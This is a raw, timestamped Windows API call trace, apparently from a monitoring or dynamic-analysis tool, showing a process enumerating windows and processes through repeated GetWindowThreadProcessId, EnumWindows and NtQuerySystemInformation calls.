[0248.169] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c4
[0248.170] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x138
[0248.170] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x788
[0248.170] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c0
[0248.170] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x114
[0248.170] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x1c0
[0248.170] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x23c
[0248.170] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x560
[0248.171] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x564
[0248.171] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7a8
[0248.171] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x434
[0248.171] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x71c
[0248.171] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0248.171] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0248.171] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0248.171] GetWindowThreadProcessId (in: hWnd=0x10110, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x58c
[0248.172] GetWindowThreadProcessId (in: hWnd=0x1010a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0248.172] GetWindowThreadProcessId (in: hWnd=0x10086, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f4
[0248.172] GetWindowThreadProcessId (in: hWnd=0x2002a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x794
[0248.172] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0248.172] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0248.174] EmptyWorkingSet (hProcess=0xffffffffffffffff) returned 1
[0248.204] SleepEx (dwMilliseconds=0x190, bAlertable=1) returned 0x0
[0248.822] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x12f58) returned 0x0
[0248.834] VirtualAlloc (lpAddress=0x283f000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x283f000
[0248.842] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x12f58) returned 0x0
[0248.866] ResetEvent (hEvent=0x100) returned 1
[0248.925] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x12f58) returned 0x0
[0248.935] EnumWindows (lpEnumFunc=0x1b1a2afc, lParam=0x0) returned 1
[0248.937] GetWindowThreadProcessId (in: hWnd=0x3013c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x538
[0248.937] GetWindowThreadProcessId (in: hWnd=0x10090, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.937] GetWindowThreadProcessId (in: hWnd=0x300b2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.937] GetWindowThreadProcessId (in: hWnd=0x300ee, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.938] GetWindowThreadProcessId (in: hWnd=0x400c0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.938] GetWindowThreadProcessId (in: hWnd=0x10144, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0248.938] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.938] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0248.938] GetWindowThreadProcessId (in: hWnd=0x20028, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0248.938] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.938] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.939] GetWindowThreadProcessId (in: hWnd=0x10062, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.939] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.939] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.939] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.939] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.939] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.939] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0248.939] GetWindowThreadProcessId (in: hWnd=0x500a0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.940] GetWindowThreadProcessId (in: hWnd=0x10092, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.940] GetWindowThreadProcessId (in: hWnd=0x102d4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xf8c
[0248.940] GetWindowThreadProcessId (in: hWnd=0x102ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4e4
[0248.940] GetWindowThreadProcessId (in: hWnd=0x1026c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa14
[0248.940] GetWindowThreadProcessId (in: hWnd=0x302d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xe68
[0248.940] GetWindowThreadProcessId (in: hWnd=0x4015e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0248.940] GetWindowThreadProcessId (in: hWnd=0x50116, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0248.941] GetWindowThreadProcessId (in: hWnd=0x6011a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x3d4
[0248.941] GetWindowThreadProcessId (in: hWnd=0x900a6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.941] GetWindowThreadProcessId (in: hWnd=0x300c6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.941] GetWindowThreadProcessId (in: hWnd=0x400d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.941] GetWindowThreadProcessId (in: hWnd=0x400f0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.941] GetWindowThreadProcessId (in: hWnd=0x300de, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.941] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.942] GetWindowThreadProcessId (in: hWnd=0x400c4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.942] GetWindowThreadProcessId (in: hWnd=0x300ac, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.942] GetWindowThreadProcessId (in: hWnd=0x10268, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa04
[0248.942] GetWindowThreadProcessId (in: hWnd=0x10264, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9f4
[0248.942] GetWindowThreadProcessId (in: hWnd=0x10260, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9e4
[0248.942] GetWindowThreadProcessId (in: hWnd=0x1025c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9d4
[0248.942] GetWindowThreadProcessId (in: hWnd=0x10258, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9c4
[0248.943] GetWindowThreadProcessId (in: hWnd=0x10254, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9b4
[0248.943] GetWindowThreadProcessId (in: hWnd=0x10250, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9a4
[0248.943] GetWindowThreadProcessId (in: hWnd=0x1024c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x994
[0248.943] GetWindowThreadProcessId (in: hWnd=0x10248, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x984
[0248.943] GetWindowThreadProcessId (in: hWnd=0x10244, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x974
[0248.943] GetWindowThreadProcessId (in: hWnd=0x10240, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x964
[0248.944] GetWindowThreadProcessId (in: hWnd=0x1023c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x954
[0248.944] GetWindowThreadProcessId (in: hWnd=0x10238, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x944
[0248.944] GetWindowThreadProcessId (in: hWnd=0x10234, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x934
[0248.944] GetWindowThreadProcessId (in: hWnd=0x10230, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x924
[0248.944] GetWindowThreadProcessId (in: hWnd=0x1022c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x914
[0248.945] GetWindowThreadProcessId (in: hWnd=0x10228, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x904
[0248.945] GetWindowThreadProcessId (in: hWnd=0x10224, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8f4
[0248.945] GetWindowThreadProcessId (in: hWnd=0x10220, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8e4
[0248.945] GetWindowThreadProcessId (in: hWnd=0x1021c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8d4
[0248.946] GetWindowThreadProcessId (in: hWnd=0x10218, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8c4
[0248.946] GetWindowThreadProcessId (in: hWnd=0x10214, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8b4
[0248.946] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8a4
[0248.946] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x894
[0248.946] GetWindowThreadProcessId (in: hWnd=0x10208, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x884
[0248.946] GetWindowThreadProcessId (in: hWnd=0x10204, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x874
[0248.947] GetWindowThreadProcessId (in: hWnd=0x10200, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x864
[0248.947] GetWindowThreadProcessId (in: hWnd=0x101fc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x854
[0248.947] GetWindowThreadProcessId (in: hWnd=0x101f8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x844
[0248.947] GetWindowThreadProcessId (in: hWnd=0x101f4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x834
[0248.947] GetWindowThreadProcessId (in: hWnd=0x101f0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x824
[0248.948] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x814
[0248.948] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x804
[0248.948] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5a8
[0248.948] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x32c
[0248.948] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x51c
[0248.948] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x634
[0248.949] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5c4
[0248.949] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x418
[0248.949] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x244
[0248.949] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x730
[0248.949] GetWindowThreadProcessId (in: hWnd=0x101c4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x640
[0248.949] GetWindowThreadProcessId (in: hWnd=0x101c0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x670
[0248.949] GetWindowThreadProcessId (in: hWnd=0x101bc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7d0
[0248.950] GetWindowThreadProcessId (in: hWnd=0x101b8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x754
[0248.950] GetWindowThreadProcessId (in: hWnd=0x101b4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x694
[0248.950] GetWindowThreadProcessId (in: hWnd=0x101b0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x704
[0248.950] GetWindowThreadProcessId (in: hWnd=0x101ac, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xc0
[0248.950] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5ac
[0248.950] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7f4
[0248.950] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x774
[0248.950] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x304
[0248.951] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x544
[0248.951] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c4
[0248.951] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x138
[0248.951] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x788
[0248.951] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c0
[0248.951] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x114
[0248.951] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x1c0
[0248.952] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x23c
[0248.952] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x560
[0248.952] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x564
[0248.952] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7a8
[0248.952] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x434
[0248.953] GetWindowThreadProcessId (in: hWnd=0x30164, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x71c
[0248.959] GetWindowThreadProcessId (in: hWnd=0x30158, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0248.959] GetWindowThreadProcessId (in: hWnd=0x1014e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0248.959] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0248.959] GetWindowThreadProcessId (in: hWnd=0x20142, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0248.959] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0248.960] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0248.960] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0248.960] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0248.960] GetWindowThreadProcessId (in: hWnd=0x200a8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x58c
[0248.960] GetWindowThreadProcessId (in: hWnd=0x1010c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x578
[0248.960] GetWindowThreadProcessId (in: hWnd=0x10108, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0248.961] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x530
[0248.961] GetWindowThreadProcessId (in: hWnd=0x50094, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.961] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x508
[0248.961] GetWindowThreadProcessId (in: hWnd=0x10088, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.961] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f4
[0248.962] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.962] GetWindowThreadProcessId (in: hWnd=0x1006a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.962] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x794
[0248.962] GetWindowThreadProcessId (in: hWnd=0x10066, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.962] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.962] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0248.963] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0248.963] GetWindowThreadProcessId (in: hWnd=0x30044, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x448
[0248.963] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0248.963] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0248.963] GetWindowThreadProcessId (in: hWnd=0x3013e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x538
[0248.964] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.964] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.964] GetWindowThreadProcessId (in: hWnd=0x102d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xf9c
[0248.964] GetWindowThreadProcessId (in: hWnd=0x102cc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x808
[0248.964] GetWindowThreadProcessId (in: hWnd=0x1026e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa14
[0248.965] GetWindowThreadProcessId (in: hWnd=0x150270, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xe68
[0248.965] GetWindowThreadProcessId (in: hWnd=0x50114, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0248.965] GetWindowThreadProcessId (in: hWnd=0x4011e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x3d4
[0248.965] GetWindowThreadProcessId (in: hWnd=0x1026a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa04
[0248.965] GetWindowThreadProcessId (in: hWnd=0x10266, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9f4
[0248.966] GetWindowThreadProcessId (in: hWnd=0x10262, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9e4
[0248.966] GetWindowThreadProcessId (in: hWnd=0x1025e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9d4
[0248.966] GetWindowThreadProcessId (in: hWnd=0x1025a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9c4
[0248.966] GetWindowThreadProcessId (in: hWnd=0x10256, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9b4
[0248.966] GetWindowThreadProcessId (in: hWnd=0x10252, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9a4
[0248.967] GetWindowThreadProcessId (in: hWnd=0x1024e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x994
[0248.967] GetWindowThreadProcessId (in: hWnd=0x1024a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x984
[0248.967] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x974
[0248.967] GetWindowThreadProcessId (in: hWnd=0x10242, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x964
[0248.967] GetWindowThreadProcessId (in: hWnd=0x1023e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x954
[0248.967] GetWindowThreadProcessId (in: hWnd=0x1023a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x944
[0248.968] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x934
[0248.968] GetWindowThreadProcessId (in: hWnd=0x10232, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x924
[0248.968] GetWindowThreadProcessId (in: hWnd=0x1022e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x914
[0248.968] GetWindowThreadProcessId (in: hWnd=0x1022a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x904
[0248.969] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8f4
[0248.969] GetWindowThreadProcessId (in: hWnd=0x10222, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8e4
